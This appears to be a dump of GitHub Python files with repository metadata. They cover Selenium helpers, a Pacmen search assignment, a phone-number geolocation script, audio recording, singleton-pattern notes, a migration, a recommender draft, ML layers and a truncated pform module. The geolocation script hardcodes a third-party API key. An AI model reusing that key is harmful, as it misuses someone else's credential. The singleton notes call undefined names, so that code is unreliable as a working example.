main()","repo_name":"aitabuzaid/data-engineering","sub_path":"project-3-redshift-dwh/manage_cluster.py","file_name":"manage_cluster.py","file_ext":"py","file_size_in_byte":5436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5894727352","text":"from typing import Any\n\nfrom selenium.common.exceptions import (\n NoSuchElementException,\n StaleElementReferenceException,\n TimeoutException,\n)\nfrom selenium.webdriver import Chrome, ChromeOptions\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\n\nREQUEST_TIMEOUT = 5.0\n\n\ndef safe_query_text(driver: Chrome, selector: str, default: Any = None) -> str | None:\n try:\n selector_query = EC.presence_of_element_located((By.CSS_SELECTOR, selector))\n web_driver_delay_query = WebDriverWait(driver, REQUEST_TIMEOUT).until(selector_query)\n\n return web_driver_delay_query.text\n except (TimeoutException, StaleElementReferenceException, NoSuchElementException):\n return default\n\n\ndef safe_query_attribute(driver: Chrome, selector: str, attribute: str, default: Any = None) -> str | None:\n try:\n selector_query = EC.presence_of_element_located((By.CSS_SELECTOR, selector))\n web_driver_delay_query = WebDriverWait(driver, REQUEST_TIMEOUT).until(selector_query)\n\n return web_driver_delay_query.get_attribute(attribute)\n except (TimeoutException, StaleElementReferenceException, NoSuchElementException):\n return default\n\n\nclass WebDriverContextManager:\n def __init__(self, binary_location: str):\n self.options = ChromeOptions()\n self.options.binary_location = binary_location\n\n def __enter__(self):\n self.driver = Chrome(options=self.options)\n return self.driver\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n if self.driver:\n self.driver.close()\n\n","repo_name":"antonAce/streamlit-ds-courses","sub_path":"crawlers/standalone/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"71030002063","text":"#!/usr/bin/env python\n\n#!coding=utf-8\n\nimport os\nimport time\n\nnew_time = time.strftime('%Y-%m-%d')\n\ndisk_status = os.popen('df -h').readlines()\n\nstr1 = ''.join(disk_status)\n\nf = open(new_time+'.log','w')\n\nf.write('%s' % str1)\n\nf.flush()\n\nf.close()","repo_name":"yanghaiji/python-learning","sub_path":"shell/crear_df_log.py","file_name":"crear_df_log.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"34526909813","text":"# -*-coding: utf-8 -*\n'''NAMES OF THE AUTHOR(S): Gael Aglin \n Martin Braquet \n Gilles Peiffer \n'''\nimport time\nfrom search import *\n\n\n#################\n# Problem class #\n#################\nclass Pacmen(Problem):\n\n def successor(self, state):\n states = [(\"t\", state)]\n # Iterating over the pacmen\n \n def findpac(state):\n pac_list = []\n for i in range(state.nbr):\n for j in range(state.nbc):\n if state.grid[i][j] == '$':\n pac_list.append((i,j))\n return pac_list\n \n pac_list = findpac(state)\n \n for pacman in pac_list:\n possibilities = []\n # For each pacman, we iterate other the list of states left by the previous pacman, this list is only composed of the initial state for the first pacman\n for s in states:\n # This helps define the different directions in which the pacmen can move, they always move, because not moving is rarely optimal\n for move in [-1, 1]:\n # Checking if the next positions are admissible\n if 0 <= pacman[0] + move < s[1].nbr and s[1].grid[pacman[0]+move][pacman[1]] != \"x\" and s[1].grid[pacman[0]+move][pacman[1]] != \"$\":\n newgrid = [row[:] for row in s[1].grid]\n newgrid[pacman[0]][pacman[1]] = \" \"\n newgrid[pacman[0]+move][pacman[1]] = \"$\"\n possibilities.append((\"t\", State(newgrid)))\n if 0 <= pacman[1] + move < s[1].nbc and s[1].grid[pacman[0]][pacman[1]+move] != \"x\" and s[1].grid[pacman[0]][pacman[1]+move] != \"$\":\n newgrid = [row[:] for row in s[1].grid]\n newgrid[pacman[0]][pacman[1]] = \" \"\n newgrid[pacman[0]][pacman[1]+move] = \"$\"\n possibilities.append((\"t\", State(newgrid)))\n states = possibilities[:] # The list of states from which pacmen will add their moves is updated to the list of states with all the states containing the different combinations of moves of the previous pacmen\n return states\n\n def goal_test(self, state):\n for i in range(state.nbr):\n for j in range(state.nbc):\n if state.grid[i][j] == \"@\":\n return False\n return True\n\n\n###############\n# State class #\n###############\nclass State:\n def __init__(self, grid):\n self.nbr = len(grid)\n self.nbc = len(grid[0])\n self.grid = grid\n \n def __str__(self):\n nsharp = self.nbc * 2 + 3\n s = \"#\" * nsharp\n s += '\\n'\n for i in range(0, self.nbr):\n s += \"# \"\n for j in range(0, self.nbc):\n s += str(self.grid[i][j]) + \" \"\n s += \"#\"\n if i < self.nbr:\n s += '\\n'\n s += \"#\" * nsharp\n return s\n \n # Two grids are equal if their elements are the same\n def __eq__(self, other_state):\n return self.grid == other_state.grid\n # Same logic as equal, the idea is that two states with similar grids will have the same hash.\n def __hash__(self):\n return hash(str(self.grid))\n\n\n\n######################\n# Auxiliary function #\n######################\ndef readInstanceFile(filename):\n lines = [[char for char in line.rstrip('\\n')[1:][:-1]] for line in open(filename)]\n lines = lines[1:len(lines) - 1]\n n = len(lines)\n m = len(lines[0])\n grid_init = [[lines[i][j] for j in range(1, m, 2)] for i in range(0, n)]\n return grid_init\n\n\n######################\n# Heuristic function #\n######################\n\ndef heur(node):\n def manhattan(pos1, pos2):\n return abs(pos1[0]-pos2[0])+abs(pos1[1]-pos2[1])\n \n def findpf(state):\n pac_list = []\n food_list = []\n for i in range(state.nbr):\n for j in range(state.nbc):\n if state.grid[i][j] == '$':\n pac_list.append((i,j))\n elif state.grid[i][j] == '@':\n food_list.append((i,j))\n return food_list, pac_list\n \n (foods, pacmen) = findpf(node.state)\n \n l = [0]*len(foods)\n \n def closest_pac(food):\n tmp = manhattan(food,pacmen[0])\n closest = tmp\n for pac in pacmen[1:]:\n candidate = manhattan(pac,food)\n if candidate < closest:\n closest = candidate\n return closest\n \n for i in range(len(foods)):\n l[i] = closest_pac(foods[i])\n \n return max(l, default=0)\n\ndef zero(node):\n return 0\n \n\n#####################\n# Launch the search #\n#####################\ngrid_init = readInstanceFile(sys.argv[1])\n#grid_init = readInstanceFile(\"instances/i01\")\ninit_state = State(grid_init)\n\nproblem = Pacmen(init_state)\n\nstartTime = time.perf_counter()\nnode, nbExploredNodes = astar_graph_search(problem,heur)\n#node, nbExploredNodes = breadth_first_graph_search(problem)\nendTime = time.perf_counter()\n\n# example of print\npath = node.path()\npath.reverse()\n\nprint('Number of moves: ' + str(node.depth))\nfor n in path:\n print(n.state) # assuming that the __str__ function of state outputs the correct format\n print()\n\nprint(\"nb nodes explored = \",nbExploredNodes)\nprint(\"time : \" + str(endTime - startTime))\n","repo_name":"Peiffap/lingi2261-assignments","sub_path":"assignment2/pacmen.py","file_name":"pacmen.py","file_ext":"py","file_size_in_byte":5548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6349009029","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Joachim ANDRE\n\n\"\"\"\n\n# Library\n\nimport phonenumbers\nfrom phonenumbers import geocoder\nfrom phonenumbers import carrier\nfrom opencage.geocoder import OpenCageGeocode\n\n\n# Find country\n\nnum = \"\"\n\nmon_num = phonenumbers.parse(num)\nlocalisation = geocoder.description_for_number(mon_num, \"fr\")\nprint(localisation)\n\n# find operator\n\noperator = phonenumbers.parse(num)\nprint(carrier.name_for_number(operator, \"fr\"))\n\n# find lat - long\n\nkey_API = \"b2eff95b45b1401095b95082db8d7e76\"\ncoord = OpenCageGeocode(key_API)\nrequest = str(localisation)\nresponse = coord.geocode(request)\nlat = response[0][\"geometry\"][\"lat\"]\nlng = response[0][\"geometry\"][\"lng\"]\nprint(lat, lng)","repo_name":"Onizukkaa/geolocalisation_by_phonenumber","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40228109267","text":"\"\"\"\n单例模式: 确保某一个类中,只有一个实例\n要点:某个类中只有一个实例\n 必须自行创建这个实例\n 必须自行向整个系统提供这个实例\n\n多线程 看 https://www.cnblogs.com/huchong/p/8244279.html\n\"\"\"\n\n\n\"\"\"\n法一: 使用模块\npython的模块就是天然的单例模式,模块在第一次导入时,会生成.pyc文件,第二次导入时,会直接加载.pyc文件,而不会再次执行模块代码\n因此,只需把相关函数定义在一个模块中,就可以获得一个单例对象了\n\"\"\"\n# # singleton.py\n# class Singleton(object):\n# def foo(self):\n# pass\n# singleton = Singleton()\n# # 将上面代码保存,使用时,直接在其他文件中导入此文件的对象,这个对象即是单例模式的对象\n\nfrom singleton import singleton\nmy_singleton.foo()\n\n\n\"\"\"\n法二: 装饰器\n\"\"\"\ndef singleton(cls, *args, **kwargs):\n instances = {}\n def getinstance():\n if cls not in instances:\n instances[cls] = cls(*args, **kwargs)\n return instances[cls]\n return getinstance\n\n@singleton\nclass MyClass(object):\n a = 1\n def __init__(self, x=0):\n self.x = x\n\n\none = MyClass3()\ntwo = MyClass3()\ntwo.a = 3\nprint(one.a) # 3\nprint(id(one)) # 8842576\nprint(id(two)) # 8842576\nprint(one == two) # True\nprint(one is two) # True\none.x = 1\nprint(one.x) # 1\nprint(two.x) # 1\n\n\n\"\"\"\n法三:__new__方法\n当我们实例化一个对象时,是先执行了类的__new__方法(我们没写时,默认调用object.__new__),实例化对象;然后再执行类的__init__方法,对这个对象进行初始化\n\"\"\"\nclass Singleton(object):\n def __new__(cls, *args, **kwargs):\n if not hasattr(cls, '_instance'): # hasattr() 函数用于判断对象是否包含对应的属性。\n orig = super(Singleton, cls)\n cls._instance = orig.__new__(cls, *args, **kwargs)\n return cls._instance\n\nclass MyClass(Singleton):\n a = 1\n\none = Myclass()\ntwo = Myclass()\nprint(id(one))\nprint(id(two))\nprint(one == two) # True\nprint(one is two) # True\ntwo.a = 3\nprint(one.a) # 3\n\n\n'''\n法四:共享属性;所谓单例就是所有引用(实例、对象)拥有相同的的状态(属性)和行为(方法)\n同一个类的所有实例天然拥有相同的行为(方法)\n只需要保证一个类的所有实例具有相同的状态(属性)即可\n所有实例共享属性的最简单方法就是__dict__属性指向(引用)同一个字典(dict)\n'''\nclass Borg(object):\n _state = {}\n def __new__(cls, *args, **kwargs):\n ob = super(Borg, cls).__new__(cls, *args, **kwargs)\n ob.__dict__ = cls._state\n return ob\nclass MyClass2(Borg):\n a = 1\none = MyClass2()\ntwo = MyClass2()\ntwo.a = 3\nprint(one.a)\n# one 和 two 是两个不同的对象,id,==,is对比结果可以看出\nprint(id(one)) # 18410480\nprint(id(two)) # 18410512\nprint(one == two) # False\nprint(one is two) # False\n# 但是one和two具有相同的(同一个)__dict__属性\nprint(id(one.__dict__)) # 14194768\nprint(id(two.__dict__)) # 14194768\n","repo_name":"Jane-Zhai/target_offer","sub_path":"eg_02_Singleton.py","file_name":"eg_02_Singleton.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14322222831","text":"\"\"\"empty message\n\nRevision ID: ec5edcf5e736\nRevises: 0020fa75099e\nCreate Date: 2023-05-06 17:34:48.682617\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\nimport os\nenvironment = os.getenv(\"FLASK_ENV\")\nSCHEMA = os.environ.get(\"SCHEMA\")\n\n# revision identifiers, used by Alembic.\nrevision = 'ec5edcf5e736'\ndown_revision = '0020fa75099e'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('posts', schema=None) as batch_op:\n batch_op.add_column(sa.Column('createdAt', sa.DateTime(), nullable=True))\n batch_op.add_column(sa.Column('updatedAt', sa.DateTime(), nullable=True))\n\n if environment == \"production\":\n op.execute(f\"ALTER TABLE posts SET SCHEMA {SCHEMA};\")\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('posts', schema=None) as batch_op:\n batch_op.drop_column('updatedAt')\n batch_op.drop_column('createdAt')\n\n # ### end Alembic commands ###\n","repo_name":"Miketuazon/Spork","sub_path":"migrations/versions/20230506_173448_.py","file_name":"20230506_173448_.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"41001263687","text":"import sqlite3\nimport os\nfrom collections import defaultdict, Counter\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\nfrom math import sqrt\nfrom time import time\nimport itertools\n\n\n# uses the pearson coefficient to calculate the similarity between 2 users\ndef calc_sim_scores(df, u1, user_subset, user_avgs):\n # average rating for u1\n if user_avgs[u1] == -1:\n user_avgs[u1] = df.loc[u1]['rating'].mean()\n u1_avg = user_avgs[u1]\n\n # all items user 1 rated\n u1_items = [y for x, y in df.index if x == u1]\n # list of (user, simScore) we eventually return\n sim_scores = []\n\n # loop through users who have rated some of the same items to u1\n for u2 in user_subset:\n\n # get ites u2 and u1 both rated\n u2_items = [y for x, y in df.index if x == u2]\n shared_items = [s for s in u1_items if s in u2_items]\n\n # average rating for u2\n if user_avgs[u2] == -1:\n user_avgs[u2] = df.loc[u2]['rating'].mean()\n u2_avg = user_avgs[u2]\n\n # accumulator for 3 parts of sim equation\n a, b, c = 0, 0, 0\n\n # loop through each of the items u1 and u2 rated\n for item in shared_items:\n # calculate the difference from their average rating\n rating_u1 = df.loc[(u1, item)]['rating'] - u1_avg\n rating_u2 = df.loc[(u2, item)]['rating'] - u2_avg\n\n # accumulate the separate sums of the sim equation\n a += (rating_u1 * rating_u2)\n b += pow(rating_u1, 2)\n c += pow(rating_u2, 2)\n\n # finish the operations outside of the sim equation sums\n b = sqrt(b)\n c = sqrt(c)\n\n # check for divide by 0 error\n score = 0 if b == 0 or c == 0 else (a / (b * c))\n\n # add the calculated simScore for u2 to returning list\n sim_scores.append((u2, score))\n\n return sim_scores\n\n# need to try and make this function like 50x faster\ndef get_top_users(user, df, item_dict):\n # list of all items u1 rated\n items_rated = [y for x, y in df.index]\n user_list = []\n s = time()\n for item in items_rated:\n user_list += item_dict[item]\n #print(f\"Concat = {time() - s}\")\n\n s = time()\n user_list = list(filter(user.__ne__, user_list))\n #print(f\"Filtering = {time() - s}\")\n\n s = time()\n user_subset = [k for k, v in Counter(user_list).most_common(30)]\n #print(f\"Counting = {time() - s}\")\n #print()\n # print(user_subset)\n\n return user_subset\n\ndef main():\n db_name = \"UserItemTables\"\n user_table_name = \"User_table\"\n item_table_name = \"Item_table\"\n local_dir = os.path.dirname(__file__)\n db_path = os.path.join(local_dir, \"..\", \"Data\", \"Databases\", db_name + '.db')\n connection = sqlite3.connect(db_path)\n cursor = connection.cursor()\n\n user_list = []\n item_dict = defaultdict(list)\n for row in cursor.execute(f\"SELECT userID, itemID FROM {user_table_name}\"):\n user_list.append(row[0])\n #item_dict.setdefault(row[1], []).append(row[0])\n user_list = list(dict.fromkeys(user_list))\n print(len(user_list))\n print(\"> Built item_dict and user_list\")\n\n scores_per_user = 30\n matrix_shape = (len(user_list), scores_per_user)\n matrix_scores = np.empty(matrix_shape)\n matrix_user = np.empty(matrix_shape)\n\n user_avg_ratings = dict.fromkeys(user_list, -1)\n\n # print(f\"Len of user list: {len(user_list)}\")\n\n for i in range(len(user_list)): #tqdm(user_list):\n user = user_list[i]\n s1 = time()\n # rem_users = user_list[user_list.index(user) + 1:]\n s = time()\n df = pd.DataFrame(columns=['userID', 'itemID', 'rating', 'time']).set_index(['userID', 'itemID'])\n user_dict = {\"userID\": [], \"itemID\": [], \"rating\": [], \"time\": []}\n\n for row in cursor.execute(f'SELECT itemID, rating, time FROM {user_table_name} WHERE userID = {user}'):\n user_dict[\"userID\"].append(user)\n user_dict[\"itemID\"].append(row[0])\n user_dict[\"rating\"].append(row[1])\n user_dict[\"time\"].append(row[2])\n df = df.append(pd.DataFrame.from_dict(user_dict).set_index(['userID', 'itemID']))\n print(f\"1st DB call: {time() - s}\")\n\n s = time()\n items_rated = [y for x, y in df.index]\n items_to_search = ','.join(map(str, items_rated))\n top_users = []\n for row in cursor.execute(\n f'SELECT UserID, COUNT(UserID) AS User_Count FROM {item_table_name} ' +\n f'WHERE ItemID IN ({items_to_search}) GROUP BY UserID ORDER BY User_Count DESC'):\n # user_item_count[row[0]] = row[1]\n if len(top_users) > 30:\n break\n u2 = row[0]\n if not u2 == user:\n top_users.append(row[0])\n\n print(f\"2nd DB call: {time() - s}\")\n #\n # if len(user_subset) == 0:\n # print(f\"Ah problem with user {user}\")\n #\n # # check if any of user subset < user\n # smaller_users = [u for u in user_subset if u < user]\n # # for these values check if sim score already calculated\n # for s in smaller_users:\n # idx = user_list.index(s)\n # if s in matrix_user[idx]:\n # print(matrix_user[idx])\n # print(matrix_scores[idx])\n # user_subset.remove(s)\n # # print(smaller_user)\n #\n # # print(f\"Total time: {time() - s1}\")\n #\n s = time()\n # append to df with the remaining users\n user_dict = {\"userID\": [], \"itemID\": [], \"rating\": [], \"time\": []}\n for row in cursor.execute(\n f\"SELECT userID, itemID, rating, time FROM {user_table_name} WHERE userID IN ({','.join(map(str, top_users))})\"):\n user_dict[\"userID\"].append(row[0])\n user_dict[\"itemID\"].append(row[1])\n user_dict[\"rating\"].append(row[2])\n user_dict[\"time\"].append(row[3])\n df = df.append(pd.DataFrame.from_dict(user_dict).set_index(['userID', 'itemID']))\n print(f\"3rd DB call: {time() - s}\")\n print()\n #\n # sim_scores = calc_sim_scores(df, user, user_subset, user_avg_ratings)\n # matrix_user[i, :] = [x for x, y in sim_scores]\n # matrix_scores[i, :] = [y for x, y in sim_scores]\n\n # add sim scores to matrix and users to second matrix at same positions\n\n\n\n\n\n\n\n\nmain()\n","repo_name":"LukeGibson/RecommenderSystem","sub_path":"src/UserBased/Build_Sim_Score_Mtrx.py","file_name":"Build_Sim_Score_Mtrx.py","file_ext":"py","file_size_in_byte":6381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14404014973","text":"import sounddevice as sd\nfrom scipy.io.wavfile import write, read\nimport os\nimport numpy as np\n\nfs = 8000 #sampling freq\nsec = 5 #recording duration\npath = \"C:\\\\Users\\\\Sean K\\\\Documents\\\\Python-Projects\\\\speech-recognition\\\\free-spoken-digit-dataset\\\\recordings\\\\\"\n\n\nfor i in range(0,10):\n \n rec = sd.rec(int(sec*fs), samplerate=fs, channels=1)\n print(\"Speak \"+str(i))\n sd.wait()\n write('testing.wav', fs, rec)\n write(path+'9_sean_'+str(i)+'.wav', fs, rec)\n\n\n\n\"\"\"SNIPPING SEGMENTS\"\"\"\nnoise_thresh = 0.0005\nbuffer = 150\n\n#Load Filenames\npath = \"C:\\\\Users\\\\Sean K\\\\Documents\\\\Python-Projects\\\\speech-recognition\\\\free-spoken-digit-dataset\\\\recordings\\\\\"\nfilenames = os.listdir(path)\n\nfor i, _ in enumerate(filenames):\n if filenames[i][2:6] == 'sean':\n \n _, audio = read(path+filenames[i])\n indices = np.zeros((2))\n for p, amp in enumerate(audio):\n if abs(amp) > noise_thresh:\n indices[0] = p\n break\n for q in reversed(range(len(audio))):\n if abs(audio[q]) > noise_thresh:\n indices[1] = q\n break \n \n new_audio = audio[p-buffer:q+buffer] \n write(path+filenames[i], fs, new_audio)\n \n\n ","repo_name":"Sean-Kaiser/speech-recognition","sub_path":"recording_audio.py","file_name":"recording_audio.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38457935855","text":"n = int(input())\nli = [[0]*n for _ in range(n)]\n\nif n % 2 == 0 or n < 1 or n > 100:\n print('INPUT ERROR')\nelse:\n num = 64\n for i in range((n//2)+1, -1, -1): # 반띵\n for j in range(i, n-i): # 3, 2-4 1-5\n if num <90:\n num += 1\n li[j][i] = chr(num)\n else:\n num = 65\n li[j][i] = chr(num)\n\n\n for i in range(n):\n for j in range(n):\n if li[i][j] == 0:\n print('', end =' ')\n else:\n print(li[i][j], end = ' ')\n print()","repo_name":"juyi212/Algorithm_study","sub_path":"JUNGOL/1339(문자삼각형3).py","file_name":"1339(문자삼각형3).py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2433098164","text":"# coding: utf-8\n\"\"\"Attention mechanisms base class.\"\"\"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass MultiHeadAttentionLayer(nn.Module): # noqa: W0223\n def __init__(self, hid_dim, n_heads, dropout):\n \"\"\"Initialize model with params.\"\"\"\n super().__init__()\n\n assert hid_dim % n_heads == 0\n\n self.hid_dim = hid_dim\n self.n_heads = n_heads\n self.head_dim = hid_dim // n_heads\n\n self.fc_q = nn.Linear(hid_dim, hid_dim)\n self.fc_k = nn.Linear(hid_dim, hid_dim)\n self.fc_v = nn.Linear(hid_dim, hid_dim)\n\n self.fc_o = nn.Linear(hid_dim, hid_dim)\n\n self.dropout = nn.Dropout(dropout)\n\n self.register_buffer('scale', torch.sqrt(torch.FloatTensor([self.head_dim])))\n\n def forward(self, query, key, value, mask=None):\n \"\"\"Run a forward pass of model over the data.\"\"\"\n batch_size = query.shape[0]\n\n # query = [batch size, query len, hid dim]\n # key = [batch size, key len, hid dim]\n # value = [batch size, value len, hid dim]\n\n Q = self.fc_q(query)\n K = self.fc_k(key)\n V = self.fc_v(value)\n\n # Q = [batch size, query len, hid dim]\n # K = [batch size, key len, hid dim]\n # V = [batch size, value len, hid dim]\n\n Q = Q.view(batch_size, -1, self.n_heads, self.head_dim).permute(0, 2, 1, 3)\n K = K.view(batch_size, -1, self.n_heads, self.head_dim).permute(0, 2, 1, 3)\n V = V.view(batch_size, -1, self.n_heads, self.head_dim).permute(0, 2, 1, 3)\n\n # Q = [batch size, n heads, query len, head dim]\n # K = [batch size, n heads, key len, head dim]\n # V = [batch size, n heads, value len, head dim]\n\n energy = torch.matmul(Q, K.permute(0, 1, 3, 2)) / self.scale\n\n # energy = [batch size, n heads, query len, key len]\n\n if mask is not None:\n energy = energy.masked_fill(mask == 0, -1e10)\n\n attention = torch.softmax(energy, dim=-1)\n\n # attention = [batch size, n heads, query len, key len]\n\n x = torch.matmul(self.dropout(attention), V)\n\n # x = [batch size, n heads, query len, head dim]\n\n x = x.permute(0, 2, 1, 3).contiguous()\n\n # x = [batch size, query len, n heads, head dim]\n\n x = x.view(batch_size, -1, self.hid_dim)\n\n # x = [batch size, query len, hid dim]\n\n x = self.fc_o(x)\n\n # x = [batch size, query len, hid dim]\n\n return x, attention\n\n\nclass MultiHeadAttentionLSTMWrapper(nn.Module): # noqa: W0223\n def __init__(self, n_head, d_model, dropout=0.1):\n \"\"\"Initialize model with params.\"\"\"\n super().__init__()\n\n self.self_attn_layer_norm = nn.LayerNorm(d_model)\n self.multi_head_attn = MultiHeadAttentionLayer(hid_dim=d_model, n_heads=n_head, dropout=dropout)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, q, k, v, mask=None):\n \"\"\"Run a forward pass of model over the data.\"\"\"\n _q, _ = self.multi_head_attn(q, k, v, mask=mask)\n # dropout, residual connection and layer norm\n q = self.self_attn_layer_norm(q + self.dropout(_q))\n\n context_vector = torch.sum(q, 1)\n return context_vector\n\n\nclass BahdanauAttention(nn.Module): # noqa: W0223\n def __init__(self, hidden_size, num_directions=1):\n \"\"\"Initialize model with params.\"\"\"\n\n super().__init__()\n self.num_directions = num_directions\n self.hidden_size = hidden_size\n self.fc_encoder = nn.Linear(self.num_directions*self.hidden_size, self.hidden_size, bias=False)\n self.attnHidden = nn.Linear(self.hidden_size, 1)\n\n def forward(self, enc_outputs):\n \"\"\"Run a forward pass of model over the data.\"\"\"\n tempX = torch.tanh(self.fc_encoder(enc_outputs))\n\n alignment_scores = self.attnHidden(tempX)\n\n attn_weights = F.softmax(alignment_scores, dim=1)\n attn_weights = attn_weights.permute(0, 2, 1)\n\n context_vector = torch.bmm(attn_weights, enc_outputs)\n\n return context_vector\n","repo_name":"microsoft/CASPR","sub_path":"caspr/models/attention_mechanisms.py","file_name":"attention_mechanisms.py","file_ext":"py","file_size_in_byte":4045,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"47"} +{"seq_id":"3716271128","text":"from sys import stdin, stdout\nimport math\n[n,m,c] = [int(x) for x in stdin.readline().split()]\n\nl = 0\nr = 1e18\nb = r\nwhile l <= r:\n mid = math.floor((l+r)/2)\n if math.floor(mid/n)*math.floor(mid/m) >= c:\n b = mid\n r = mid-1\n else:\n l = mid+1\nprint(b)\n","repo_name":"Antonc3/Competitive-Programming","sub_path":"codeforces/practice/edu/Binary Search/packingrectangles.py","file_name":"packingrectangles.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"40773078974","text":"\"\"\"Class for doing logistic regression.\"\"\"\n#pylint: disable=C0103\n\nimport numpy as np\n\nimport theano\nimport theano.tensor as T\n\nclass LogisticClassifier(object):\n \"\"\"Class for logistic classifier.\"\"\"\n\n def __init__(self, input_data, n_in, n_out, init_params=None):\n\n # Initialize weights with zeros and in the shape n_in x n_out.\n initial_W = None\n if init_params == None:\n initial_W = np.zeros((n_in, n_out), dtype=theano.config.floatX)\n else:\n initial_W = init_params[0]\n\n # Set up the shared variable.\n self.W = theano.shared(\n value=initial_W,\n name='W',\n borrow=True)\n\n # Initialize biases as a vector of n_out zeros.\n initial_b = None\n if init_params == None:\n initial_b = np.zeros((n_out), dtype=theano.config.floatX)\n else:\n initial_b = init_params[1]\n\n # Set up the shared variab.e\n self.b = theano.shared(\n value=initial_b,\n name='b',\n borrow=True)\n\n # Probability of class y given data x.\n self.p_y_given_x = T.nnet.softmax(\n T.dot(input_data, self.W) + self.b)\n\n # Get class with highest probability.\n self.y_prediction = T.argmax(\n self.p_y_given_x, axis=1)\n\n # Parameters of the model.\n self.params = [self.W, self.b]\n\n def negative_log_likelihood(self, y):\n \"\"\"Returns the NLL given the input x.\"\"\"\n\n return -T.mean(T.log(self.p_y_given_x)[T.arange(y.shape[0]), y])\n\n def errors(self, y):\n \"\"\"Returns the zero-one error, or raises exceptions.\"\"\"\n\n if y.ndim != self.y_prediction.ndim:\n raise TypeError(\n \"The vector of classes y \" +\n \"does not have the same shape as \" +\n \"the vector of predictions y_prediction.\",\n ('y', target.type, 'y_prediction', self.y_prediction.type))\n\n if y.dtype.startswith('int'):\n return T.mean(T.neq(self.y_prediction, y))\n\n else:\n raise NotImplementedError()\n\n","repo_name":"ehrenbrav/BirdBot","sub_path":"birdbot/logistic/classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39379658970","text":"\"\"\" Basic fields \"\"\"\nimport pytz\nimport inspect\nimport datetime\nimport decimal\nfrom pyramid.compat import NativeIO, text_type, PY3\n\nfrom pform import iso8601\nfrom pform import vocabulary\nfrom pform.field import InputField\nfrom pform.fieldset import Fieldset\nfrom pform.directives import field\nfrom pform.composite import CompositeField\nfrom pform.interfaces import _, null, Invalid, IVocabulary\n\n\ndef takes_one_arg(fn, name):\n try:\n argspec = inspect.getargspec(fn)\n\n args = argspec[0]\n if len(args) == 1 and name in args:\n return True\n\n except TypeError:\n pass\n\n return False\n\n\ndef voc_factory_mapper(factory):\n\n if takes_one_arg(factory, 'request'):\n def _wrapper_request(form):\n return factory(getattr(form, 'request', None))\n return _wrapper_request\n\n elif takes_one_arg(factory, 'context'):\n def _wrapper_context(form):\n return factory(getattr(form, 'context', None))\n return _wrapper_context\n\n elif takes_one_arg(factory, 'content'):\n def _wrapper_content(form):\n return factory(getattr(form, 'content', None))\n return _wrapper_content\n\n else:\n def _wrapper(form):\n return factory(form)\n return _wrapper\n\n\nclass VocabularyField(InputField):\n\n vocabulary = None\n voc_factory = None\n\n no_value_token = '--NOVALUE--'\n\n def __init__(self, *args, **kw):\n super(VocabularyField, self).__init__(*args, **kw)\n\n if self.voc_factory is None and self.vocabulary is None:\n raise ValueError(\"Vocabulary or vocabulary factory is required.\")\n\n if self.voc_factory is not None and self.vocabulary is not None:\n raise ValueError(\"Vocabulary and vocabulary factory are defined.\")\n\n # convert vocabulary\n voc = self.vocabulary\n if (voc is not None and not IVocabulary.providedBy(voc)):\n self.vocabulary = vocabulary.Vocabulary(*voc)\n\n if self.voc_factory is not None:\n self.voc_factory = voc_factory_mapper(self.voc_factory)\n\n def bind(self, request, prefix, value, params, context=None):\n clone = super(VocabularyField, self).bind(\n request, prefix, value, params, context)\n\n if clone.vocabulary is None:\n clone.vocabulary = self.voc_factory(context)\n\n return clone\n\n def is_checked(self, term):\n raise NotImplementedError()\n\n def update_items(self):\n self.items = []\n\n for count, term in enumerate(self.vocabulary):\n label = term.title if term.title is not None else term.token\n\n self.items.append(\n {'id': '%s-%i' % (self.id, count), 'name': self.name,\n 'value': term.token, 'label': label,\n 'description': term.description,\n 'checked': self.is_checked(term)})\n\n\nclass BaseChoiceField(VocabularyField):\n \"\"\" base choice field \"\"\"\n\n error_msg = _('\"${val}\" is not in vocabulary')\n\n def to_form(self, value):\n try:\n return self.vocabulary.get_term(value).token\n except LookupError:\n raise Invalid(self.error_msg, self, {'val': value})\n\n def to_field(self, value):\n if not value:\n return null\n\n try:\n return self.vocabulary.get_term_bytoken(value).value\n except LookupError:\n raise Invalid(self.error_msg, self, {'val': value})\n\n def is_checked(self, term):\n return 